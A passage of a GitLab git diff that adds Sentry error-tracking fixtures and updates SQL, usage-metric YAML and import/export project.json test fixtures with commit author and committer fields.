\"/Users/developer/rails-project/app/views\"\n","module":"ActionView","thread_id":70254489510160,"stacktrace":{"frames":[{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/thread_pool.rb","function":"block in spawn_thread","lineno":135,"in_app":false,"filename":"puma/thread_pool.rb","pre_context":[" end\n","\n"," begin\n"],"context_line":" block.call(work, *extra)\n","post_context":[" rescue Exception => e\n"," STDERR.puts \"Error reached top of thread-pool: #{e.message} (#{e.class})\"\n"," end\n"]},{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/server.rb","function":"block in run","lineno":334,"in_app":false,"filename":"puma/server.rb","pre_context":[" client.close\n"," else\n"," if process_now\n"],"context_line":" process_client client, buffer\n","post_context":[" else\n"," client.set_timeout @first_data_timeout\n"," @reactor.add client\n"]},{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/actionview-5.2.6/lib/action_view/path_set.rb","function":"find","lineno":48,"in_app":false,"filename":"action_view/path_set.rb","pre_context":[" end\n","\n"," def find(*args)\n"],"context_line":" find_all(*args).first || raise(MissingTemplate.new(self, *args))\n","post_context":[" end\n","\n"," def find_file(path, prefixes = [], *args)\n"]}]}}]}} \ No newline at end of file
diff --git a/spec/fixtures/error_tracking/parsed_event.json b/spec/fixtures/error_tracking/parsed_event.json
new file mode 100644
index 00000000000..1b144bd43dd
--- /dev/null
+++ b/spec/fixtures/error_tracking/parsed_event.json
@@ -0,0 +1 @@
+{"event_id":"7c9ae6e58f03442b9203bbdcf6ae904c","level":"error","timestamp":"2021-07-08T12:59:16Z","release":"db853d7","environment":"development","server_name":"MacBook.local","modules":{"rake":"13.0.3","concurrent-ruby":"1.1.9","i18n":"1.8.10","minitest":"5.14.4","thread_safe":"0.3.6","tzinfo":"1.2.9","uglifier":"4.2.0","web-console":"3.7.0"},"message":"","user":{},"tags":{"request_id":"4253dcd9-5e48-474a-89b4-0e945ab825af"},"contexts":{"os":{"name":"Darwin","version":"Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64","build":"20.5.0","kernel_version":"Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64"},"runtime":{"name":"ruby","version":"ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin19]"},"trace":{"trace_id":"d82b93fbc39e4d13b85762afa2e3ff36","span_id":"4a3ed8701e7f4ea4","parent_span_id":null,"description":null,"op":"rails.request","status":null}},"extra":{},"fingerprint":[],"breadcrumbs":{"values":[{"category":"start_processing.action_controller","data":{"controller":"PostsController","action":"error2","params":{"controller":"posts","action":"error2"},"format":"html","method":"GET","path":"/posts/error2","start_timestamp":1625749156.5553},"level":null,"message":"","timestamp":1625749156,"type":null},{"category":"process_action.action_controller","data":{"controller":"PostsController","action":"error2","params":{"controller":"posts","action":"error2"},"format":"html","method":"GET","path":"/posts/error2","start_timestamp":1625749156.55539,"view_runtime":null,"db_runtime":0},"level":null,"message":"","timestamp":1625749156,"type":null}]},"transaction":"PostsController#error2","platform":"ruby","sdk":{"name":"sentry.ruby.rails","version":"4.5.1"},"request":{"url":"http://localhost/posts/error2","method":"GET","headers":{},"env":{"SERVER_NAME":"localhost","SERVER_PORT":"4444"}},"exception":{"values":[{"type":"ActionView::MissingTemplate","value":"Missing template posts/error2, application/error2 with {:locale=>[:en], :formats=>[:html], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}. Searched in:\n * \"/Users/developer/rails-project/app/views\"\n","module":"ActionView","thread_id":70254489510160,"stacktrace":{"frames":[{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/thread_pool.rb","function":"block in spawn_thread","lineno":135,"in_app":false,"filename":"puma/thread_pool.rb","pre_context":[" end\n","\n"," begin\n"],"context_line":" block.call(work, *extra)\n","post_context":[" rescue Exception => e\n"," STDERR.puts \"Error reached top of thread-pool: #{e.message} (#{e.class})\"\n"," end\n"]},{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/server.rb","function":"block in run","lineno":334,"in_app":false,"filename":"puma/server.rb","pre_context":[" client.close\n"," else\n"," if process_now\n"],"context_line":" process_client client, buffer\n","post_context":[" else\n"," client.set_timeout @first_data_timeout\n"," @reactor.add client\n"]},{"project_root":"/Users/developer/rails-project","abs_path":"/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/actionview-5.2.6/lib/action_view/path_set.rb","function":"find","lineno":48,"in_app":false,"filename":"action_view/path_set.rb","pre_context":[" end\n","\n"," def find(*args)\n"],"context_line":" find_all(*args).first || raise(MissingTemplate.new(self, *args))\n","post_context":[" end\n","\n"," def find_file(path, prefixes = [], *args)\n"]}]}}]}} \ No newline at end of file
diff --git a/spec/fixtures/error_tracking/transaction.txt b/spec/fixtures/error_tracking/transaction.txt
new file mode 100644
index 00000000000..3d3f2aa90f0
--- /dev/null
+++ b/spec/fixtures/error_tracking/transaction.txt
@@ -0,0 +1,3 @@
+{"event_id":"4a304dbdf3404e87962e99bced2f6c8b","dsn":"","sdk":{"name":"sentry.ruby","version":"4.5.1"},"sent_at":"2021-07-08T12:58:29Z"}
+{"type":"transaction","content_type":"application/json"}
+{} \ No newline at end of file
diff --git a/spec/fixtures/error_tracking/unknown.txt b/spec/fixtures/error_tracking/unknown.txt
new file mode 100644
index 00000000000..2a5c51f2596
--- /dev/null
+++ b/spec/fixtures/error_tracking/unknown.txt
@@ -0,0 +1,3 @@
+{"event_id":"7c9ae6e58f03442b9203bbdcf6ae904c","dsn":"","sdk":{"name":"sentry.ruby","version":"4.5.1"},"sent_at":"2021-07-08T12:59:16Z"}
+{"type":"unknown","content_type":"application/json"}
+{} \ No newline at end of file
diff --git a/spec/fixtures/gitlab/database/structure_example_cleaned.sql b/spec/fixtures/gitlab/database/structure_example_cleaned.sql
index dc112da7037..ab6af34dda7 100644
--- a/spec/fixtures/gitlab/database/structure_example_cleaned.sql
+++ b/spec/fixtures/gitlab/database/structure_example_cleaned.sql
@@ -23,6 +23,4 @@ ALTER TABLE ONLY abuse_reports ALTER COLUMN id SET DEFAULT nextval('abuse_report
ALTER TABLE ONLY abuse_reports
ADD CONSTRAINT abuse_reports_pkey PRIMARY KEY (id);
-CREATE INDEX index_abuse_reports_on_user_id ON abuse_reports USING btree (user_id);-- schema_migrations.version information is no longer stored in this file,
--- but instead tracked in the db/schema_migrations directory
--- see https://gitlab.com/gitlab-org/gitlab/-/issues/218590 for details
+CREATE INDEX index_abuse_reports_on_user_id ON abuse_reports USING btree (user_id);
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
index 5cebfbcbad9..9de4d2a5644 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
@@ -12,7 +12,7 @@ milestone: "13.9"
introduced_by_url:
time_frame: 7d
data_source:
-data_category: Operational
+data_category: Optional
distribution:
- ee
tier:
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
index d448e7bf3f6..0e7de369c82 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
@@ -13,7 +13,7 @@ milestone: "13.9"
introduced_by_url:
time_frame: 7d
data_source:
-data_category: Operational
+data_category: Optional
distribution:
- ce
- ee
diff --git a/spec/fixtures/lib/gitlab/import_export/complex/project.json b/spec/fixtures/lib/gitlab/import_export/complex/project.json
index 9b8bc9d304e..fe885861d00 100644
--- a/spec/fixtures/lib/gitlab/import_export/complex/project.json
+++ b/spec/fixtures/lib/gitlab/import_export/complex/project.json
@@ -2799,7 +2799,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-08-06T08:35:52.000+02:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 27,
@@ -2811,7 +2819,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T10:01:38.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 27,
@@ -2823,7 +2839,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:57:31.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 27,
@@ -2835,7 +2859,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:54:21.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 27,
@@ -2847,7 +2879,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:49:50.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 27,
@@ -2859,7 +2899,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:48:32.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
}
],
"merge_request_diff_files": [
@@ -3247,7 +3295,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:26:01.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
}
],
"merge_request_diff_files": [
@@ -3510,7 +3566,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T13:22:56.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
}
],
"merge_request_diff_files": [
@@ -3773,7 +3837,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T14:14:43.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3785,7 +3857,15 @@
"author_email": "marin@gitlab.com",
"committed_date": "2015-12-07T12:52:12.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "marin@gitlab.com"
+ "committer_email": "marin@gitlab.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3797,7 +3877,15 @@
"author_email": "maxlazio@gmail.com",
"committed_date": "2015-12-07T11:54:28.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "maxlazio@gmail.com"
+ "committer_email": "maxlazio@gmail.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3809,7 +3897,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T16:27:12.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3821,7 +3917,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:50:17.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3833,7 +3937,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:39:43.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3845,7 +3957,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T07:21:40.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3857,7 +3977,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:01:27.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3869,7 +3997,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:00:16.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3881,7 +4017,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T05:23:14.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3893,7 +4037,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:45.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3905,7 +4057,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:04.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3917,7 +4077,15 @@
"author_email": "stanhu@packetzoom.com",
"committed_date": "2015-08-25T17:53:12.000+02:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@packetzoom.com"
+ "committer_email": "stanhu@packetzoom.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3929,7 +4097,15 @@
"author_email": "sytse@gitlab.com",
"committed_date": "2015-01-10T22:23:29.000+01:00",
"committer_name": "Sytse Sijbrandij",
- "committer_email": "sytse@gitlab.com"
+ "committer_email": "sytse@gitlab.com",
+ "commit_author": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ },
+ "committer": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3941,7 +4117,15 @@
"author_email": "marmis85@gmail.com",
"committed_date": "2015-01-10T21:28:18.000+01:00",
"committer_name": "marmis85",
- "committer_email": "marmis85@gmail.com"
+ "committer_email": "marmis85@gmail.com",
+ "commit_author": {
+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ },
+ "committer": {
+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3953,7 +4137,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T10:01:38.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3965,7 +4157,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:57:31.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3977,7 +4177,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:54:21.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -3989,7 +4197,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:49:50.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 14,
@@ -4001,7 +4217,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:48:32.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
}
],
"merge_request_diff_files": [
@@ -4458,7 +4682,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T15:25:23.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4470,7 +4702,15 @@
"author_email": "marin@gitlab.com",
"committed_date": "2015-12-07T12:52:12.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "marin@gitlab.com"
+ "committer_email": "marin@gitlab.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4482,7 +4722,15 @@
"author_email": "maxlazio@gmail.com",
"committed_date": "2015-12-07T11:54:28.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "maxlazio@gmail.com"
+ "committer_email": "maxlazio@gmail.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4494,7 +4742,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T16:27:12.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4506,7 +4762,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:50:17.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4518,7 +4782,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:39:43.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4530,7 +4802,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T07:21:40.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4542,7 +4822,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:01:27.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4554,7 +4842,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:00:16.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4566,7 +4862,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T05:23:14.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4578,7 +4882,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:45.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4590,7 +4902,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:04.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4602,7 +4922,15 @@
"author_email": "stanhu@packetzoom.com",
"committed_date": "2015-08-25T17:53:12.000+02:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@packetzoom.com"
+ "committer_email": "stanhu@packetzoom.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4614,7 +4942,15 @@
"author_email": "sytse@gitlab.com",
"committed_date": "2015-01-10T22:23:29.000+01:00",
"committer_name": "Sytse Sijbrandij",
- "committer_email": "sytse@gitlab.com"
+ "committer_email": "sytse@gitlab.com",
+ "commit_author": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ },
+ "committer": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ }
},
{
"merge_request_diff_id": 13,
@@ -4626,7 +4962,15 @@
"author_email": "marmis85@gmail.com",
"committed_date": "2015-01-10T21:28:18.000+01:00",
"committer_name": "marmis85",
- "committer_email": "marmis85@gmail.com"
+ "committer_email": "marmis85@gmail.com",
+ "commit_author": {
+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ },
+ "committer": {
